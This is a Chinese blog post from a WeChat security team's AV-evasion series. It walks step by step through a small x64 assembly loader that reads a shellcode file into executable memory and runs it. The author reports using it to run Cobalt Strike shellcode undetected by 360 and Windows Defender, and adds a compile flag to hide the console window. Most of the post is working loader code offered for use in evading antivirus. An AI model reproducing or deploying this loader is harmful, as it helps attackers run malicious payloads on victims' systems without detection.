免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)
公众号很久没有更新了,确实太忙~~~~
前段时间比较浮躁,因为自己训练的编程专项模型,也把自己变得越来越懒,写很多对抗程序的时候,也没有追求精益求精,追根溯源的黑客精神了。所以打算沉下心来用汇编好好的重写一些自己的对抗工具的核心功能。
很久没用汇编写程序了,就先写个最简单的shellcode加载器来练练手。
先看看效果······
正常运行,加载工具人最爱用的cs的shellcode,成功上线,360和Windows Defender都是毫无反应。
virscan报告地址:
https://www.virscan.org/report/39245969902c518e44e86fc19774bae39642951feef051493fe296fbdecc1657
------可爱的分割线------
大部分人觉得汇编很复杂,其实不然,在我看来,汇编更加直接了当能够告诉计算机我想干什么。
授人与渔不如授人与渔,开干~~~~~~
首先data段定义接下来要用到的函数和一些常量
.datakernel32_name db "kernel32.dll", 0 ; kernel32.dll 的名称user32_name db "user32.dll", 0 ; user32.dll 的名称CreateFileA_name db "CreateFileA", 0 ; CreateFileA 函数名ReadFile_name db "ReadFile", 0 ; ReadFile 函数名VirtualAlloc_name db "VirtualAlloc", 0 ; VirtualAlloc 函数名CloseHandle_name db "CloseHandle", 0 ; CloseHandle 函数名LoadLibraryA_name db "LoadLibraryA", 0 ; LoadLibraryA 函数名MessageBoxA_name db "MessageBoxA", 0 ; MessageBoxA 函数名filename db "C:\shellcode.bin", 0 ; 要读取的文件名error_msg db "Error occurred", 0 ; 错误消息success_msg db "Operation successful", 0 ; 成功消息
user32.dll的MessageBoxA函数以及error_msg和success_msg是我在其他环境调试时候方便看输出用的,生产环境可以直接删掉。
filename是shellcode文件的路径。
接下code段,万年不变的入口main PROC
push rbxpush rsipush rdipush r12push r13push r14push r15
获取kernel32.dll动态链接库的基址
获取 kernel32.dll 的基址lea rcx, kernel32_name ; 将 kernel32.dll 的名称加载到 rcxcall GetModuleHandleA ; 调用 GetModuleHandleA 获取 kernel32.dll 的句柄test rax, rax ; 检查返回值是否为 0 (错误)jz exit_program ; 如果是 0,跳转到退出程序mov rbx, rax ; 保存 kernel32.dll 基址到 rbx
这个我加了一个容错,test rax,rax 。如果为0则证明获取基址失败,就跳转到我写好的exit_program的方法退出程序。和c语言中的if(handle==0){funcexit();}类似。
获取到模块基址过后,接下来就要将我们要用到的函数地址都获取并且保存在我们上面push的寄存器中。
获取 LoadLibraryA 函数地址mov rcx, rbx ; kernel32.dll 的句柄lea rdx, LoadLibraryA_name ; LoadLibraryA 函数名call GetProcAddress ; 调用 GetProcAddress 获取函数地址test rax, rax ; 检查返回值是否为 0 (错误)jz exit_program ; 如果是 0,跳转到退出程序mov r15, rax ; 保存 LoadLibraryA 函数地址到 r15获取 CreateFileA 函数地址mov rcx, rbxlea rdx, CreateFileA_namecall GetProcAddresstest rax, raxjz exit_programmov r12, rax ; 保存 CreateFileA 函数地址到 r12获取 ReadFile 函数地址mov rcx, rbxlea rdx, ReadFile_namecall GetProcAddresstest rax, raxjz exit_programmov r13, rax ; 保存 ReadFile 函数地址到 r13获取 VirtualAlloc 函数地址mov rcx, rbxlea rdx, VirtualAlloc_namecall GetProcAddresstest rax, raxjz exit_programmov r14, rax ; 保存 VirtualAlloc 函数地址到 r14获取 CloseHandle 函数地址mov rcx, rbxlea rdx, CloseHandle_namecall GetProcAddresstest rax, raxjz exit_programmov rbx, rax ; 保存 CloseHandle 函数地址到 rbx (重用 rbx)
每一个关键步骤我都做了test rax,rax 。没办法,强迫症,看不得程序一点的不受控~~~
函数地址都获取后,可以打开我们的shellcode文件了
调用 CreateFileA 打开文件sub rsp, 40 ; 分配影子空间和额外参数空间lea rcx, filename ; 文件名mov rdx, 80000000h ; GENERIC_READxor r8, r8 ; 不共享xor r9, r9 ; 无安全属性mov qword ptr [rsp + 32], 3 ; OPEN_EXISTINGmov qword ptr [rsp + 40], 80h ; FILE_ATTRIBUTE_NORMALmov qword ptr [rsp + 48], 0 ; 无模板文件call r12 ; 调用 CreateFileAadd rsp, 40 ; 恢复栈检查文件句柄cmp rax, -1 ; 比较返回值和 INVALID_HANDLE_VALUEje file_error ; 如果相等,跳转到文件错误处理mov rdi, rax ; 保存文件句柄到 rdi
这里用cmp rax,-1 检查是否成功取到文件句柄,如果没有跳转到file_error方法。《程序员的自我修养》
接下来分配内存
分配内存 (VirtualAlloc)sub rsp, 32 ; 分配影子空间xor rcx, rcx ; lpAddress = NULLmov rdx, 1000h ; dwSize = 4KB (假设 shellcode 不超过 4KB)mov r8, 1000h ; flAllocationType = MEM_COMMITmov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITEcall r14 ; 调用 VirtualAllocadd rsp, 32 ; 恢复栈检查分配的内存test rax, rax ; 检查返回值jz memory_error ; 如果为 0,跳转到内存错误处理mov r15, rax ; 保存分配的内存地址到 r15
同样test rax,rax 检查是否分配成功,失败跳转到memory_error方法。《程序员的自我修养》
分配好内存后,就可以载入我们的shellcode到内存中了
读取文件 (ReadFile)sub rsp, 40 ; 分配影子空间和额外参数空间mov rcx, rdi ; 文件句柄mov rdx, r15 ; 缓冲区地址mov r8, 1000h ; 读取大小 (4KB)lea r9, [rsp + 32] ; 实际读取的字节数的地址mov qword ptr [rsp + 32], 0 ; 初始化实际读取的字节数为 0call r13 ; 调用 ReadFileadd rsp, 40 ; 恢复栈检查读取结果test rax, rax ; 检查返回值jz read_error ; 如果为 0,跳转到读取错误处理
同样test rax,rax 检查是否读取载入成功,失败跳转到read_error方法。《程序员的自我修养》
最后关闭文件句柄然后执行shellcode
; 关闭文件句柄sub rsp, 32 ; 分配影子空间mov rcx, rdi ; 文件句柄call rbx ; 调用 CloseHandleadd rsp, 32 ; 恢复栈; 执行 shellcodecall r15 ; 调用加载到内存中的 shellcode
有借有还,再借不难,exit的时候别忘了pop寄存器
exit_program:恢复非易失性寄存器pop r15pop r14pop r13pop r12pop rdipop rsipop rbx退出程序xor rcx, rcx ; exit code = 0call ExitProcess ; 调用 ExitProcess 退出程序
核心功能全部完成。编译的时候,如果要具备更好的隐藏性,可以/SUBSYSTEM:WINDOWS隐藏控制台窗口,但是要记住告诉编译器你的入口点/ENTRY main。
至此,整个程序完成。
------可爱的分割线------
感觉用汇编写程序能够让心静下来,能够真正的感觉在与计算机交流,也能够温故而知新的调整自己的很多状态!正如道家所说的道法自然,上善若水~~~~~~所以预告一下,我打算用汇编重写一下llama的核心推理算法,算是一种沉淀的修行吧
原文始发于微信公众号(蓝极战队):免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-






评论